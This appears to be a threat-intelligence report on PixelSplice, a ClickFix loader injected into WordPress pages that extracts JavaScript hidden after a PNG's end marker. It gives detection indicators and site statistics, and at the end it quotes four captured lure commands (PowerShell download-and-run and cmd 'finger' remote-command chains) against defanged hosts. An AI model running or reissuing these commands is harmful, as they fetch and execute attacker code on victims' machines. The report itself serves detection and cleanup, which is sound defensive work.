PixelSplice ClickFix kit

The page reads an image as a program

PixelSplice is a compact loader injected after WordPress's jQuery script in an inline block named jquery-js-after. Its loadJSFromImage function requests responsive-block-suite/assets/images/arrows.png with XMLHttpRequest and sets the response type to arraybuffer.

The loader treats the reply as bytes rather than displaying it. findSequence locates the byte forms of <!--_START--> and <!--_END-->, slices out everything between them and decodes that section as text. executeScript places the text in a new script element and appends it to the document.

Victoria Adjei's analysis of the same injection found the added data after the PNG's normal end marker. The picture still renders as an ordinary asset while the inline loader reads the extra bytes as JavaScript.

The extracted stage decides when to show the lure

In Adjei's decoded copy, the extracted stage skipped WordPress administrators and common bot user agents, sent a visitor fingerprint to a remote service and waited for approval. An approved response installed a full-page iframe with clipboard access. The frame handled the verification prompt and sent fp-embed-close when it finished.

Our browser sequence recorded the PNG request followed shortly afterwards by a ClickFix controller request. Recent production pages also carried EmbedShade, the __fpEmbeds iframe loader.

What we see

Month	New sites
September	16
October	194
November so far	64

89% of PixelSplice sites captured since 25 September run WordPress. The responsive-block-suite path appeared on 109 of those captured sites, and 119 PixelSplice sites also carry EmbedShade.

Checking the script and PNG

Search HTML, inline JavaScript and cached pages for:

• the inline script id jquery-js-after
• loadJSFromImage, findSequence and executeScript
• xhr.responseType = 'arraybuffer'
• <!--_START--> and <!--_END-->
• responsive-block-suite/assets/images/arrows.png
• script.text = code after a byte-array slice

Fetch the PNG directly and inspect its raw bytes after the PNG end marker. Removing the image alone leaves the inline loader in place, while removing only the loader leaves the added asset and its plugin directory behind.

$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) PowerShell/5.1');$f=$env:TEMP+'123.ps1';$w.DownloadFile('hxxp://85[.]239[.]149[.]120/zDLuGUBz1ACPaN3H',$f);& powershell -nop -ExecutionPolicy Bypass -File $f

%COMSPEC% /c %COMSPEC% /c start "" /^min %COMSPEC% /c for /f "delims=" %y in ('echo fin') do for /f "delims=" %p in ('"%y""ger" ouWFbcfVPm@api-dns[.]org') do @%p &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_------

[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://dns-ssl[.]com/mgk9wvvm4RfVNWO2GN' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1

%COMSPEC% /c %COMSPEC% /c %COMSPEC% /c start "" /^min for /f "delims=" %a in ('echo fin') do for /f "delims=" %y in ('"%a""ger" zTHYPuFACg@api-connect[.]pro') do @%y &                --------------P_u_s_h----t_h_e----_E_n_t_e_r_------